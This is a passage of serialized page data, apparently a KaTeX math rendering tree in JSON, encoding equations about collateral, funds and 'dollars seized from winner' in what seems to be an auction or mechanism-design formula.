fund",{"type":23,"tag":481,"props":159367,"children":159368},{"style":158562},[159369,159373],{"type":23,"tag":481,"props":159370,"children":159372},{"className":159371,"style":158479},[1596],[],{"type":23,"tag":481,"props":159374,"children":159376},{"className":159375},[1555],[159377,159381,159385,159390,159394,159404,159408,159413,159417],{"type":23,"tag":481,"props":159378,"children":159380},{"className":159379},[1555],[],{"type":23,"tag":481,"props":159382,"children":159384},{"className":159383,"style":1734},[1636],[],{"type":23,"tag":481,"props":159386,"children":159388},{"className":159387},[1739],[159389],{"type":28,"value":19105},{"type":23,"tag":481,"props":159391,"children":159393},{"className":159392,"style":1734},[1636],[],{"type":23,"tag":481,"props":159395,"children":159397},{"className":159396},[1555,28],[159398],{"type":23,"tag":481,"props":159399,"children":159401},{"className":159400},[1555],[159402],{"type":28,"value":159403},"collateral",{"type":23,"tag":481,"props":159405,"children":159407},{"className":159406,"style":1734},[1636],[],{"type":23,"tag":481,"props":159409,"children":159411},{"className":159410},[1739],[159412],{"type":28,"value":603},{"type":23,"tag":481,"props":159414,"children":159416},{"className":159415,"style":1734},[1636],[],{"type":23,"tag":481,"props":159418,"children":159420},{"className":159419},[1555],[159421,159425,159509],{"type":23,"tag":481,"props":159422,"children":159424},{"className":159423},[19215,111097],[],{"type":23,"tag":481,"props":159426,"children":159428},{"className":159427},[111102],[159429],{"type":23,"tag":481,"props":159430,"children":159432},{"className":159431},[1577,19140],[159433,159498],{"type":23,"tag":481,"props":159434,"children":159436},{"className":159435},[1582],[159437,159493],{"type":23,"tag":481,"props":159438,"children":159441},{"className":159439,"style":159440},[1587],"height:1.3714em;",[159442,159462,159473],{"type":23,"tag":481,"props":159443,"children":159444},{"style":156688},[159445,159449],{"type":23,"tag":481,"props":159446,"children":159448},{"className":159447,"style":109750},[1596],[],{"type":23,"tag":481,"props":159450,"children":159452},{"className":159451},[1555],[159453],{"type":23,"tag":481,"props":159454,"children":159456},{"className":159455},[1555,28],[159457],{"type":23,"tag":481,"props":159458,"children":159460},{"className":159459},[1555],[159461],{"type":28,"value":156725},{"type":23,"tag":481,"props":159463,"children":159464},{"style":111152},[159465,159469],{"type":23,"tag":481,"props":159466,"children":159468},{"className":159467,"style":109750},[1596],[],{"type":23,"tag":481,"props":159470,"children":159472},{"className":159471,"style":111162},[111161],[],{"type":23,"tag":481,"props":159474,"children":159475},{"style":156739},[159476,159480],{"type":23,"tag":481,"props":159477,"children":159479},{"className":159478,"style":109750},[1596],[],{"type":23,"tag":481,"props":159481,"children":159483},{"className":159482},[1555],[159484],{"type":23,"tag":481,"props":159485,"children":159487},{"className":159486},[1555,28],[159488],{"type":23,"tag":481,"props":159489,"children":159491},{"className":159490},[1555],[159492],{"type":28,"value":156764},{"type":23,"tag":481,"props":159494,"children":159496},{"className":159495},[19243],[159497],{"type":28,"value":19246},{"type":23,"tag":481,"props":159499,"children":159501},{"className":159500},[1582],[159502],{"type":23,"tag":481,"props":159503,"children":159505},{"className":159504,"style":156782},[1587],[159506],{"type":23,"tag":481,"props":159507,"children":159508},{},[],{"type":23,"tag":481,"props":159510,"children":159512},{"className":159511},[19237,111097],[],{"type":23,"tag":481,"props":159514,"children":159515},{"style":158631},[159516,159520],{"type":23,"tag":481,"props":159517,"children":159519},{"className":159518,"style":158479},[1596],[],{"type":23,"tag":481,"props":159521,"children":159523},{"className":159522},[1555],[159524,159528,159532,159537,159541,159598,159602,159607,159611,159616,159673,159677,159682,159686,159743],{"type":23,"tag":481,"props":159525,"children":159527},{"className":159526},[1555],[],{"type":23,"tag":481,"props":159529,"children":159531},{"className":159530,"style":1734},[1636],[],{"type":23,"tag":481,"props":159533,"children":159535},{"className":159534},[1739],[159536],{"type":28,"value":603},{"type":23,"tag":481,"props":159538,"children":159540},{"className":159539,"style":1734},[1636],[],{"type":23,"tag":481,"props":159542,"children":159544},{"className":159543},[1555],[159545,159550],{"type":23,"tag":481,"props":159546,"children":159548},{"className":159547},[1555,19086],[159549],{"type":28,"value":8137},{"type":23,"tag":481,"props":159551,"children":159553},{"className":159552},[1572],[159554],{"type":23,"tag":481,"props":159555,"children":159557},{"className":159556},[1577,19140],[159558,159587],{"type":23,"tag":481,"props":159559,"children":159561},{"className":159560},[1582],[159562,159582],{"type":23,"tag":481,"props":159563,"children":159565},{"className":159564,"style":91108},[1587],[159566],{"type":23,"tag":481,"props":159567,"children":159568},{"style":90635},[159569,159573],{"type":23,"tag":481,"props":159570,"children":159572},{"className":159571,"style":1597},[1596],[],{"type":23,"tag":481,"props":159574,"children":159576},{"className":159575},[1602,1603,1604,1605],[159577],{"type":23,"tag":481,"props":159578,"children":159580},{"className":159579},[1555,19086,1605],[159581],{"type":28,"value":1274},{"type":23,"tag":481,"props":159583,"children":159585},{"className":159584},[19243],[159586],{"type":28,"value":19246},{"type":23,"tag":481,"props":159588,"children":159590},{"className":159589},[1582],[159591],{"type":23,"tag":481,"props":159592,"children":159594},{"className":159593,"style":90662},[1587],[159595],{"type":23,"tag":481,"props":159596,"children":159597},{},[],{"type":23,"tag":481,"props":159599,"children":159601},{"className":159600,"style":1637},[1636],[],{"type":23,"tag":481,"props":159603,"children":159605},{"className":159604},[1642],[159606],{"type":28,"value":108841},{"type":23,"tag":481,"props":159608,"children":159610},{"className":159609,"style":1637},[1636],[],{"type":23,"tag":481,"props":159612,"children":159614},{"className":159613},[19215],[159615],{"type":28,"value":618},{"type":23,"tag":481,"props":159617,"children":159619},{"className":159618},[1555],[159620,159625],{"type":23,"tag":481,"props":159621,"children":159623},{"className":159622,"style":19087},[1555,19086],[159624],{"type":28,"value":19090},{"type":23,"tag":481,"props":159626,"children":159628},{"className":159627},[1572],[159629],{"type":23,"tag":481,"props":159630,"children":159632},{"className":159631},[1577,19140],[159633,159662],{"type":23,"tag":481,"props":159634,"children":159636},{"className":159635},[1582],[159637,159657],{"type":23,"tag":481,"props":159638,"children":159640},{"className":159639,"style":107011},[1587],[159641],{"type":23,"tag":481,"props":159642,"children":159643},{"style":158512},[159644,159648],{"type":23,"tag":481,"props":159645,"children":159647},{"className":159646,"style":1597},[1596],[],{"type":23,"tag":481,"props":159649,"children":159651},{"className":159650},[1602,1603,1604,1605],[159652],{"type":23,"tag":481,"props":159653,"children":159655},{"className":159654},[1555,19086,1605],[159656],{"type":28,"value":53930},{"type":23,"tag":481,"props":159658,"children":159660},{"className":159659},[19243],[159661],{"type":28,"value":19246},{"type":23,"tag":481,"props":159663,"children":159665},{"className":159664},[1582],[159666],{"type":23,"tag":481,"props":159667,"children":159669},{"className":159668,"style":90662},[1587],[159670],{"type":23,"tag":481,"props":159671,"children":159672},{},[],{"type":23,"tag":481,"props":159674,"children":159676},{"className":159675,"style":1637},[1636],[],{"type":23,"tag":481,"props":159678,"children":159680},{"className":159679},[1642],[159681],{"type":28,"value":1616},{"type":23,"tag":481,"props":159683,"children":159685},{"className":159684,"style":1637},[1636],[],{"type":23,"tag":481,"props":159687,"children":159689},{"className":159688},[1555],[159690,159695],{"type":23,"tag":481,"props":159691,"children":159693},{"className":159692},[1555,19086],[159694],{"type":28,"value":24},{"type":23,"tag":481,"props":159696,"children":159698},{"className":159697},[1572],[159699],{"type":23,"tag":481,"props":159700,"children":159702},{"className":159701},[1577,19140],[159703,159732],{"type":23,"tag":481,"props":159704,"children":159706},{"className":159705},[1582],[159707,159727],{"type":23,"tag":481,"props":159708,"children":159710},{"className":159709,"style":91108},[1587],[159711],{"type":23,"tag":481,"props":159712,"children":159713},{"style":90635},[159714,159718],{"type":23,"tag":481,"props":159715,"children":159717},{"className":159716,"style":1597},[1596],[],{"type":23,"tag":481,"props":159719,"children":159721},{"className":159720},[1602,1603,1604,1605],[159722],{"type":23,"tag":481,"props":159723,"children":159725},{"className":159724},[1555,19086,1605],[159726],{"type":28,"value":1274},{"type":23,"tag":481,"props":159728,"children":159730},{"className":159729},[19243],[159731],{"type":28,"value":19246},{"type":23,"tag":481,"props":159733,"children":159735},{"className":159734},[1582],[159736],{"type":23,"tag":481,"props":159737,"children":159739},{"className":159738,"style":90662},[1587],[159740],{"type":23,"tag":481,"props":159741,"children":159742},{},[],{"type":23,"tag":481,"props":159744,"children":159746},{"className":159745},[19237],[159747],{"type":28,"value":642},{"type":23,"tag":481,"props":159749,"children":159750},{"style":158701},[159751,159755],{"type":23,"tag":481,"props":159752,"children":159754},{"className":159753,"style":158479},[1596],[],{"type":23,"tag":481,"props":159756,"children":159758},{"className":159757},[1555],[159759,159763,159767,159772,159776,159833,159837,159842,159846],{"type":23,"tag":481,"props":159760,"children":159762},{"className":159761},[1555],[],{"type":23,"tag":481,"props":159764,"children":159766},{"className":159765,"style":1734},[1636],[],{"type":23,"tag":481,"props":159768,"children":159770},{"className":159769},[1739],[159771],{"type":28,"value":603},{"type":23,"tag":481,"props":159773,"children":159775},{"className":159774,"style":1734},[1636],[],{"type":23,"tag":481,"props":159777,"children":159779},{"className":159778},[1555],[159780,159785],{"type":23,"tag":481,"props":159781,"children":159783},{"className":159782},[1555,19086],[159784],{"type":28,"value":661},{"type":23,"tag":481,"props":159786,"children":159788},{"className":159787},[1572],[159789],{"type":23,"tag":481,"props":159790,"children":159792},{"className":159791},[1577,19140],[159793,159822],{"type":23,"tag":481,"props":159794,"children":159796},{"className":159795},[1582],[159797,159817],{"type":23,"tag":481,"props":159798,"children":159800},{"className":159799,"style":91108},[1587],[159801],{"type":23,"tag":481,"props":159802,"children":159803},{"style":90635},[159804,159808],{"type":23,"tag":481,"props":159805,"children":159807},{"className":159806,"style":1597},[1596],[],{"type":23,"tag":481,"props":159809,"children":159811},{"className":159810},[1602,1603,1604,1605],[159812],{"type":23,"tag":481,"props":159813,"children":159815},{"className":159814},[1555,19086,1605],[159816],{"type":28,"value":1274},{"type":23,"tag":481,"props":159818,"children":159820},{"className":159819},[19243],[159821],{"type":28,"value":19246},{"type":23,"tag":481,"props":159823,"children":159825},{"className":159824},[1582],[159826],{"type":23,"tag":481,"props":159827,"children":159829},{"className":159828,"style":90662},[1587],[159830],{"type":23,"tag":481,"props":159831,"children":159832},{},[],{"type":23,"tag":481,"props":159834,"children":159836},{"className":159835,"style":1637},[1636],[],{"type":23,"tag":481,"props":159838,"children":159840},{"className":159839},[1642],[159841],{"type":28,"value":1930},{"type":23,"tag":481,"props":159843,"children":159845},{"className":159844,"style":1637},[1636],[],{"type":23,"tag":481,"props":159847,"children":159849},{"className":159848},[1555],[159850,159855],{"type":23,"tag":481,"props":159851,"children":159853},{"className":159852,"style":91065},[1555,19086],[159854],{"type":28,"value":158650},{"type":23,"tag":481,"props":159856,"children":159858},{"className":159857},[1572],[159859],{"type":23,"tag":481,"props":159860,"children":159862},{"className":159861},[1577,19140],[159863,159892],{"type":23,"tag":481,"props":159864,"children":159866},{"className":159865},[1582],[159867,159887],{"type":23,"tag":481,"props":159868,"children":159870},{"className":159869,"style":91108},[1587],[159871],{"type":23,"tag":481,"props":159872,"children":159873},{"style":91112},[159874,159878],{"type":23,"tag":481,"props":159875,"children":159877},{"className":159876,"style":1597},[1596],[],{"type":23,"tag":481,"props":159879,"children":159881},{"className":159880},[1602,1603,1604,1605],[159882],{"type":23,"tag":481,"props":159883,"children":159885},{"className":159884},[1555,19086,1605],[159886],{"type":28,"value":1274},{"type":23,"tag":481,"props":159888,"children":159890},{"className":159889},[19243],[159891],{"type":28,"value":19246},{"type":23,"tag":481,"props":159893,"children":159895},{"className":159894},[1582],[159896],{"type":23,"tag":481,"props":159897,"children":159899},{"className":159898,"style":90662},[1587],[159900],{"type":23,"tag":481,"props":159901,"children":159902},{},[],{"type":23,"tag":481,"props":159904,"children":159905},{"style":158770},[159906,159910],{"type":23,"tag":481,"props":159907,"children":159909},{"className":159908,"style":158479},[1596],[],{"type":23,"tag":481,"props":159911,"children":159913},{"className":159912},[1555],[159914,159918,159922,159927,159931],{"type":23,"tag":481,"props":159915,"children":159917},{"className":159916},[1555],[],{"type":23,"tag":481,"props":159919,"children":159921},{"className":159920,"style":1734},[1636],[],{"type":23,"tag":481,"props":159923,"children":159925},{"className":159924},[1739],[159926],{"type":28,"value":603},{"type":23,"tag":481,"props":159928,"children":159930},{"className":159929,"style":1734},[1636],[],{"type":23,"tag":481,"props":159932,"children":159934},{"className":159933},[1555],[159935,159940],{"type":23,"tag":481,"props":159936,"children":159938},{"className":159937,"style":91065},[1555,19086],[159939],{"type":28,"value":158650},{"type":23,"tag":481,"props":159941,"children":159943},{"className":159942},[1572],[159944],{"type":23,"tag":481,"props":159945,"children":159947},{"className":159946},[1577,19140],[159948,159996],{"type":23,"tag":481,"props":159949,"children":159951},{"className":159950},[1582],[159952,159991],{"type":23,"tag":481,"props":159953,"children":159956},{"className":159954,"style":159955},[1587],"height:0.8213em;",[159957,159974],{"type":23,"tag":481,"props":159958,"children":159960},{"style":159959},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[159961,159965],{"type":23,"tag":481,"props":159962,"children":159964},{"className":159963,"style":1597},[1596],[],{"type":23,"tag":481,"props":159966,"children":159968},{"className":159967},[1602,1603,1604,1605],[159969],{"type":23,"tag":481,"props":159970,"children":159972},{"className":159971},[1555,19086,1605],[159973],{"type":28,"value":1274},{"type":23,"tag":481,"props":159975,"children":159977},{"style":159976},"top:-3.113em;margin-right:0.05em;",[159978,159982],{"type":23,"tag":481,"props":159979,"children":159981},{"className":159980,"style":1597},[1596],[],{"type":23,"tag":481,"props":159983,"children":159985},{"className":159984},[1602,1603,1604,1605],[159986],{"type":23,"tag":481,"props":159987,"children":159989},{"className":159988},[1642,1605],[159990],{"type":28,"value":1930},{"type":23,"tag":481,"props":159992,"children":159994},{"className":159993},[19243],[159995],{"type":28,"value":19246},{"type":23,"tag":481,"props":159997,"children":159999},{"className":159998},[1582],[160000],{"type":23,"tag":481,"props":160001,"children":160004},{"className":160002,"style":160003},[1587],"height:0.267em;",[160005],{"type":23,"tag":481,"props":160006,"children":160007},{},[],{"type":23,"tag":481,"props":160009,"children":160010},{"style":158840},[160011,160015],{"type":23,"tag":481,"props":160012,"children":160014},{"className":160013,"style":158479},[1596],[],{"type":23,"tag":481,"props":160016,"children":160018},{"className":160017},[1555],[160019,160023,160027,160032,160036,160046],{"type":23,"tag":481,"props":160020,"children":160022},{"className":160021},[1555],[],{"type":23,"tag":481,"props":160024,"children":160026},{"className":160025,"style":1734},[1636],[],{"type":23,"tag":481,"props":160028,"children":160030},{"className":160029},[1739],[160031],{"type":28,"value":19105},{"type":23,"tag":481,"props":160033,"children":160035},{"className":160034,"style":1734},[1636],[],{"type":23,"tag":481,"props":160037,"children":160039},{"className":160038},[1555,28],[160040],{"type":23,"tag":481,"props":160041,"children":160043},{"className":160042},[1555],[160044],{"type":28,"value":160045},"dollars seized from winner ",{"type":23,"tag":481,"props":160047,"children":160049},{"className":160048},[1555,19086],[160050],{"type":28,"value":1274},{"type":23,"tag":481,"props":160052,"children":160053},{"style":158909},[160054,160058],{"type":23,"tag":481,"props":160055,"children":160057},{"className":160056,"style":158479},[1596],[],{"type":23,"tag":481,"props":160059,"children":160061},{"className":160060},[1555],[160062,160066,160070,160075,160079],{"type":23,"tag":481,"props":160063,"children":160065},{"className":160064},[1555],[],{"type":23,"tag":481,"props":160067,"children":160069},{"className":160068,"style":1734},[1636],[],{"type":23,"tag":481,"props":160071,"children":160073},{"className":160072},[1739],[160074],{"type":28,"value":603},{"type":23,"tag":481,"props":160076,"children":160078},{"className":160077,"style":1734},[1636],[],{"type":23,"tag":481,"props":160080,"children":160082},{"className":160081},[1555],[160083,160087,160268],{"type":23,"tag":481,"props":160084,"children":160086},{"className":160085},[19215,111097],[],{"type":23,"tag":481,"props":160088,"children":160090},{"className":160089},[111102],[160091],{"type":23,"tag":481,"props":160092,"children":160094},{"className":160093},[1577,19140],[160095,160256],{"type":23,"tag":481,"props":160096,"children":160098},{"className":160097},[1582],[160099,160251],{"type":23,"tag":481,"props":160100,"children":160103},{"className":160101,"style":160102},[1587],"height:1.1076em;",[160104,160172,160183],{"type":23,"tag":481,"props":160105,"children":160106},{"style":156688},[160107,160111],{"type":23,"tag":481,"props":160108,"children":160110},{"className":160109,"style":109750},[1596],[],{"type":23,"tag":481,"props":160112,"children":160114},{"className":160113},[1555],[160115],{"type":23,"tag":481,"props":160116,"children":160118},{"className":160117},[1555],[160119,160124],{"type":23,"tag":481,"props":160120,"children":160122},{"className":160121,"style":119859},[1555,19086],[160123],{"type":28,"value":47097},{"type":23,"tag":481,"props":160125,"children":160127},{"className":160126},[1572],[160128],{"type":23,"tag":481,"props":160129,"children":160131},{"className":160130},[1577,19140],[160132,160161],{"type":23,"tag":481,"props":160133,"children":160135},{"className":160134},[1582],[160136,160156],{"type":23,"tag":481,"props":160137,"children":160139},{"className":160138,"style":91108},[1587],[160140],{"type":23,"tag":481,"props":160141,"children":160142},{"style":158807},[160143,160147],{"type":23,"tag":481,"props":160144,"children":160146},{"className":160145,"style":1597},[1596],[],{"type":23,"tag":481,"props":160148,"children":160150},{"className":160149},[1602,1603,1604,1605],[160151],{"type":23,"tag":481,"props":160152,"children":160154},{"className":160153},[1555,19086,1605],[160155],{"type":28,"value":1274},{"type":23,"tag":481,"props":160157,"children":160159},{"className":160158},[19243],[160160],{"type":28,"value":19246},{"type":23,"tag":481,"props":160162,"children":160164},{"className":160163},[1582],[160165],{"type":23,"tag":481,"props":160166,"children":160168},{"className":160167,"style":90662},[1587],[160169],{"type":23,"tag":481,"props":160170,"children":160171},{},[],{"type":23,"tag":481,"props":160173,"children":160174},{"style":111152},[160175,160179],{"type":23,"tag":481,"props":160176,"children":160178},{"className":160177,"style":109750},[1596],[],{"type":23,"tag":481,"props":160180,"children":160182},{"className":160181,"style":111162},[111161],[],{"type":23,"tag":481,"props":160184,"children":160185},{"style":156739},[160186,160190],{"type":23,"tag":481,"props":160187,"children":160189},{"className":160188,"style":109750},[1596],[],{"type":23,"tag":481,"props":160191,"children":160193},{"className":160192},[1555],[160194],{"type":23,"tag":481,"props":160195,"children":160197},{"className":160196},[1555],[160198,160203],{"type":23,"tag":481,"props":160199,"children":160201},{"className":160200},[1555,19086],[160202],{"type":28,"value":16772},{"type":23,"tag":481,"props":160204,"children":160206},{"className":160205},[1572],[160207],{"type":23,"tag":481,"props":160208,"children":160210},{"className":160209},[1577,19140],[160211,160240],{"type":23,"tag":481,"props":160212,"children":160214},{"className":160213},[1582],[160215,160235],{"type":23,"tag":481,"props":160216,"children":160218},{"className":160217,"style":91108},[1587],[160219],{"type":23,"tag":481,"props":160220,"children":160221},{"style":90635},[160222,160226],{"type":23,"tag":481,"props":160223,"children":160225},{"className":160224,"style":1597},[1596],[],{"type":23,"tag":481,"props":160227,"children":160229},{"className":160228},[1602,1603,1604,1605],[160230],{"type":23,"tag":481,"props":160231,"children":160233},{"className":160232},[1555,19086,1605],[160234],{"type":28,"value":1274},{"type":23,"tag":481,"props":160236,"children":160238},{"className":160237},[19243],[160239],{"type":28,"value":19246},{"type":23,"tag":481,"props":160241,"children":160243},{"className":160242},[1582],[160244],{"type":23,"tag":481,"props":160245,"children":160247},{"className":160246,"style":90662},[1587],[160248],{"type":23,"tag":481,"props":160249,"children":160250},{},[],{"type":23,"tag":481,"props":160252,"children":160254},{"className":160253},[19243],[160255],{"type":28,"value":19246},{"type":23,"tag":481,"props":160257,"children":160259},{"className":160258},[1582],[160260],{"type":23,"tag":481,"props":160261,"children":160264},{"className":160262,"style":160263},[1587],"height:0.836em;",[160265],{"type":23,"tag":481,"props":160266,"children":160267},{},[],{"type":23,"tag":481,"props":160269,"children":160271},{"className":160270},[19237,111097],[],{"type":23,"tag":481,"props":160273,"children":160274},{"style":158978},[160275,160279],{"type":23,"tag":481,"props":160276,"children":160278},{"className":160277,"style":158479},[1596],[],{"type":23,"tag":481,"props":160280,"children":160282},{"className":160281},[1555],[160283,160287,160291,160296,160300,160370,160374],{"type":23,"tag":481,"props":160284,"children":160286},{"className":160285},[1555],[],{"type":23,"tag":481,"props":160288,"children":160290},{"className":160289,"style":1734},[1636],[],{"type":23,"tag":481,"props":160292,"children":160294},{"className":160293},[1739],[160295],{"type":28,"value":603},{"type":23,"tag":481,"props":160297,"children":160299},{"className":160298,"style":1734},[1636],[],{"type":23,"tag":481,"props":160301,"children":160304},{"className":160302},[19122,160303],"op-limits",[160305],{"type":23,"tag":481,"props":160306,"children":160308},{"className":160307},[1577,19140],[160309,160358],{"type":23,"tag":481,"props":160310,"children":160312},{"className":160311},[1582],[160313,160353],{"type":23,"tag":481,"props":160314,"children":160317},{"className":160315,"style":160316},[1587],"height:1.05em;",[160318,160336],{"type":23,"tag":481,"props":160319,"children":160321},{"style":160320},"top:-1.8723em;margin-left:0em;",[160322,160327],{"type":23,"tag":481,"props":160323,"children":160326},{"className":160324,"style":160325},[1596],"height:3.05em;",[],{"type":23,"tag":481,"props":160328,"children":160330},{"className":160329},[1602,1603,1604,1605],[160331],{"type":23,"tag":481,"props":160332,"children":160334},{"className":160333},[1555,19086,1605],[160335],{"type":28,"value":1274},{"type":23,"tag":481,"props":160337,"children":160339},{"style":160338},"top:-3.05em;",[160340,160344],{"type":23,"tag":481,"props":160341,"children":160343},{"className":160342,"style":160325},[1596],[],{"type":23,"tag":481,"props":160345,"children":160346},{},[160347],{"type":23,"tag":481,"props":160348,"children":160351},{"className":160349},[19122,19127,160350],"large-op",[160352],{"type":28,"value":106374},{"type":23,"tag":481,"props":160354,"children":160356},{"className":160355},[19243],[160357],{"type":28,"value":19246},{"type":23,"tag":481,"props":160359,"children":160361},{"className":160360},[1582],[160362],{"type":23,"tag":481,"props":160363,"children":160366},{"className":160364,"style":160365},[1587],"height:1.2777em;",[160367],{"type":23,"tag":481,"props":160368,"children":160369},{},[],{"type":23,"tag":481,"props":160371,"children":160373},{"className":160372,"style":1675},[1636],[],{"type":23,"tag":481,"props":160375,"children":160377},{"className":160376},[1555],[160378,160383],{"type":23,"tag":481,"props":160379,"children":160381},{"className":160380},[1555,19086],[160382],{"type":28,"value":16772},{"type":23,"tag":481,"props":160384,"children":160386},{"className":160385},[1572],[160387],{"type":23,"tag":481,"props":160388,"children":160390},{"className":160389},[1577,19140],[160391,160420],{"type":23,"tag":481,"props":160392,"children":160394},{"className":160393},[1582],[160395,160415],{"type":23,"tag":481,"props":160396,"children":160398},{"className":160397,"style":91108},[1587],[160399],{"type":23,"tag":481,"props":160400,"children":160401},{"style":90635},[160402,160406],{"type":23,"tag":481,"props":160403,"children":160405},{"className":160404,"style":1597},[1596],[],{"type":23,"tag":481,"props":160407,"children":160409},{"className":160408},[1602,1603,1604,1605],[160410],{"type":23,"tag":481,"props":160411,"children":160413},{"className":160412},[1555,19086,1605],[160414],{"type":28,"value":1274},{"type":23,"tag":481,"props":160416,"children":160418},{"className":160417},[19243],[160419],{"type":28,"value":19246},{"type":23,"tag":481,"props":160421,"children":160423},{"className":160422},[1582],[160424],{"type":23,"tag":481,"props":160425,"children":160427},{"className":160426,"style":90662},[1587],[160428],{"type":23,"tag":481,"props":160429,"children":160430},{},[],{"type":23,"tag":481,"props":160432,"children":160433},{"style":159047},[160434,160438],{"type":23,"tag":481,"props":160435,"children":160437},{"className":160436,"style":158479},[1596],[],{"type":23,"tag":481,"props":160439,"children":160441},{"className":160440},[1555],[160442,160446,160450,160455,160459,160522,160526,160531,160536,160541,160598,160603,160607,160611,160616],{"type":23,"tag":481,"props":160443,"children":160445},{"className":160444},[1555],[],{"type":23,"tag":481,"props":160447,"children":160449},{"className":160448,"style":1734},[1636],[],{"type":23,"tag":481,"props":160451,"children":160453},{"className":160452},[1739],[160454],{"type":28,"value":603},{"type":23,"tag":481,"props":160456,"children":160458},{"className":160457,"style":1734},[1636],[],{"type":23,"tag":481,"props":160460,"children":160462},{"className":160461},[19122,160303],[160463],{"type":23,"tag":481,"props":160464,"children":160466},{"className":160465},[1577,19140],[160467,160511],{"type":23,"tag":481,"props":160468,"children":160470},{"className":160469},[1582],[160471,160506],{"type":23,"tag":481,"props":160472,"children":160474},{"className":160473,"style":160316},[1587],[160475,160491],{"type":23,"tag":481,"props":160476,"children":160477},{"style":160320},[160478,160482],{"type":23,"tag":481,"props":160479,"children":160481},{"className":160480,"style":160325},[1596],[],{"type":23,"tag":481,"props":160483,"children":160485},{"className":160484},[1602,1603,1604,1605],[160486],{"type":23,"tag":481,"props":160487,"children":160489},{"className":160488},[1555,19086,1605],[160490],{"type":28,"value":1274},{"type":23,"tag":481,"props":160492,"children":160493},{"style":160338},[160494,160498],{"type":23,"tag":481,"props":160495,"children":160497},{"className":160496,"style":160325},[1596],[],{"type":23,"tag":481,"props":160499,"children":160500},{},[160501],{"type":23,"tag":481,"props":160502,"children":160504},{"className":160503},[19122,19127,160350],[160505],{"type":28,"value":106374},{"type":23,"tag":481,"props":160507,"children":160509},{"className":160508},[19243],[160510],{"type":28,"value":19246},{"type":23,"tag":481,"props":160512,"children":160514},{"className":160513},[1582],[160515],{"type":23,"tag":481,"props":160516,"children":160518},{"className":160517,"style":160365},[1587],[160519],{"type":23,"tag":481,"props":160520,"children":160521},{},[],{"type":23,"tag":481,"props":160523,"children":160525},{"className":160524,"style":1675},[1636],[],{"type":23,"tag":481,"props":160527,"children":160529},{"className":160528},[19122],[160530],{"type":28,"value":158193},{"type":23,"tag":481,"props":160532,"children":160534},{"className":160533},[19215],[160535],{"type":28,"value":618},{"type":23,"tag":481,"props":160537,"children":160539},{"className":160538},[1555],[160540],{"type":28,"value":1616},{"type":23,"tag":481,"props":160542,"children":160544},{"className":160543},[1555],[160545,160550],{"type":23,"tag":481,"props":160546,"children":160548},{"className":160547},[1555,19086],[160549],{"type":28,"value":48980},{"type":23,"tag":481,"props":160551,"children":160553},{"className":160552},[1572],[160554],{"type":23,"tag":481,"props":160555,"children":160557},{"className":160556},[1577,19140],[160558,160587],{"type":23,"tag":481,"props":160559,"children":160561},{"className":160560},[1582],[160562,160582],{"type":23,"tag":481,"props":160563,"children":160565},{"className":160564,"style":91108},[1587],[160566],{"type":23,"tag":481,"props":160567,"children":160568},{"style":90635},[160569,160573],{"type":23,"tag":481,"props":160570,"children":160572},{"className":160571,"style":1597},[1596],[],{"type":23,"tag":481,"props":160574,"children":160576},{"className":160575},[1602,1603,1604,1605],[160577],{"type":23,"tag":481,"props":160578,"children":160580},{"className":160579},[1555,19086,1605],[160581],{"type":28,"value":1274},{"type":23,"tag":481,"props":160583,"children":160585},{"className":160584},[19243],[160586],{"type":28,"value":19246},{"type":23,"tag":481,"props":160588,"children":160590},{"className":160589},[1582],[160591],{"type":23,"tag":481,"props":160592,"children":160594},{"className":160593,"style":90662},[1587],[160595],{"type":23,"tag":481,"props":160596,"children":160597},{},[],{"type":23,"tag":481,"props":160599,"children":160601},{"className":160600},[1668],[160602],{"type":28,"value":1671},{"type":23,"tag":481,"props":160604,"children":160606},{"className":160605,"style":1675},[1636],[],{"type":23,"tag":481,"props":160608,"children":160610},{"className":160609,"style":1675},[1636],[],{"type":23,"tag":481,"props":160612,"children":160614},{"className":160613},[1555],[160615],{"type":28,"value":1568},{"type":23,"tag":481,"props":160617,"children":160619},{"className":160618},[19237],[160620],{"type":28,"value":642},{"type":23,"tag":481,"props":160622,"children":160623},{"style":159117},[160624,160628],{"type":23,"tag":481,"props":160625,"children":160627},{"className":160626,"style":158479},[1596],[],{"type":23,"tag":481,"props":160629,"children":160631},{"className":160630},[1555],[160632,160636,160640,160645,160649,160712,160716],{"type":23,"tag":481,"props":160633,"children":160635},{"className":160634},[1555],[],{"type":23,"tag":481,"props":160637,"children":160639},{"className":160638,"style":1734},[1636],[],{"type":23,"tag":481,"props":160641,"children":160643},{"className":160642},[1739],[160644],{"type":28,"value":603},{"type":23,"tag":481,"props":160646,"children":160648},{"className":160647,"style":1734},[1636],[],{"type":23,"tag":481,"props":160650,"children":160652},{"className":160651},[19122,160303],[160653],{"type":23,"tag":481,"props":160654,"children":160656},{"className":160655},[1577,19140],[160657,160701],{"type":23,"tag":481,"props":160658,"children":160660},{"className":160659},[1582],[160661,160696],{"type":23,"tag":481,"props":160662,"children":160664},{"className":160663,"style":160316},[1587],[160665,160681],{"type":23,"tag":481,"props":160666,"children":160667},{"style":160320},[160668,160672],{"type":23,"tag":481,"props":160669,"children":160671},{"className":160670,"style":160325},[1596],[],{"type":23,"tag":481,"props":160673,"children":160675},{"className":160674},[1602,1603,1604,1605],[160676],{"type":23,"tag":481,"props":160677,"children":160679},{"className":160678},[1555,19086,1605],[160680],{"type":28,"value":1274},{"type":23,"tag":481,"props":160682,"children":160683},{"style":160338},[160684,160688],{"type":23,"tag":481,"props":160685,"children":160687},{"className":160686,"style":160325},[1596],[],{"type":23,"tag":481,"props":160689,"children":160690},{},[160691],{"type":23,"tag":481,"props":160692,"children":160694},{"className":160693},[19122,19127,160350],[160695],{"type":28,"value":106374},{"type":23,"tag":481,"props":160697,"children":160699},{"className":160698},[19243],[160700],{"type":28,"value":19246},{"type":23,"tag":481,"props":160702,"children":160704},{"className":160703},[1582],[160705],{"type":23,"tag":481,"props":160706,"children":160708},{"className":160707,"style":160365},[1587],[160709],{"type":23,"tag":481,"props":160710,"children":160711},{},[],{"type":23,"tag":481,"props":160713,"children":160715},{"className":160714,"style":1675},[1636],[],{"type":23,"tag":481,"props":160717,"children":160719},{"className":160718},[1555],[160720,160725],{"type":23,"tag":481,"props":160721,"children":160723},{"className":160722,"style":119859},[1555,19086],[160724],{"type":28,"value":47097},{"type":23,"tag":481,"props":160726,"children":160728},{"className":160727},[1572],[160729],{"type":23,"tag":481,"props":160730,"children":160732},{"className":160731},[1577,19140],[160733,160762],{"type":23,"tag":481,"props":160734,"children":160736},{"className":160735},[1582],[160737,160757],{"type":23,"tag":481,"props":160738,"children":160740},{"className":160739,"style":91108},[1587],[16